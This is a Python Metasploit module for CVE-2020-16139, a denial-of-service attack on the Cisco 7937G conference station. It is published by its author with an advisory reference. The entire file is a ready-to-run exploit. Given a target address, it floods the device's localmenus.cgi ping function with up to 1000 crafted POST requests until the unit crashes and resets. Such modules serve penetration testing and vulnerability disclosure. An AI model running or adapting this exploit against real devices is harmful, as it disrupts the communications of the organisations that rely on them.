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#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# standard modules
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from metasploit import module
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import logging
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# extra modules
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requests_missing = False
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random_missing = False
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string_missing = False
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try:
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    import requests
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except ImportError:
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    requests_missing = True
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try:
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    import random
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except ImportError:
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    random_missing = True
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try:
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    import string
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except ImportError:
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    string_missing = True
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metadata = {
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    'name': 'Cisco 7937G Denial-of-Service Reboot Attack',
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    'description': '''
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	This module exploits a bug in how the conference station handles 
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	executing a ping via its web interface. By repeatedly executing 
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	the ping function without clearing out the resulting output, 
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	a DoS is caused that will reset the device after a few minutes.
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    ''',
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    'authors': [
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        'Cody Martin'
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	# Author Homepage: debifrank.github.io
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	# Organization: BlackLanternSecurity
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	# Org. Homepage: BlackLanternSecurity.com
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    ],
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    'date': '2020-06-02',
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    'license': 'GPL_LICENSE',
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    'references': [
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        {'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
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        {'type': 'cve', 'ref': '2020-16139'}
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    ],
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    'type': 'dos',
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    'options': {
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        'rhost': {'type': 'address', 
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		  'description': 'Target address', 
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		  'required': True, 
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		  'default': 'None'}
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    }
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}
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def run(args):
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    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
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    if requests_missing:
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        logging.error('Required Python module dependency (requests) is missing.')
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        logging.error('Please execute pip3 install requests.')
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        return
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    if random_missing:
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        logging.error('Required Python module dependency (random) is missing.')
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        logging.error('Please execute pip3 install random.')
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    if string_missing:
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        logging.error('Required Python module dependency (string) is missing.')
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        logging.error('Please execute pip3 install string.')
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    url = "http://{}/localmenus.cgi".format(args['rhost'])
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    data = ''.join(random.choice(string.ascii_letters) for i in range(46))
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    payload = {"func": "609", "data": data, "rphl": "1"}
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    logging.info("Sending POST requests triggering the PING function.")
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    logging.info("Device should crash with a DoS shortly...")
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    for i in range(1000):
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        try:
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            r = requests.post(url=url, params=payload, timeout=5)
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            if r.status_code != 200:
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                logging.error("Device doesn't appear to be functioning or web access is not enabled.")
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                return
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        except requests.exceptions.ReadTimeout as e:
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            logging.info('DoS reset attack completed!')
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            return
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        except requests.exceptions.RequestException as e:
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            logging.info('An unexpected exception occurred: ' + str(e))
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            logging.info('The device may be DoS\'d already or not have web access enabled.')
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            return
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if __name__ == '__main__':
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    module.run(metadata, run)
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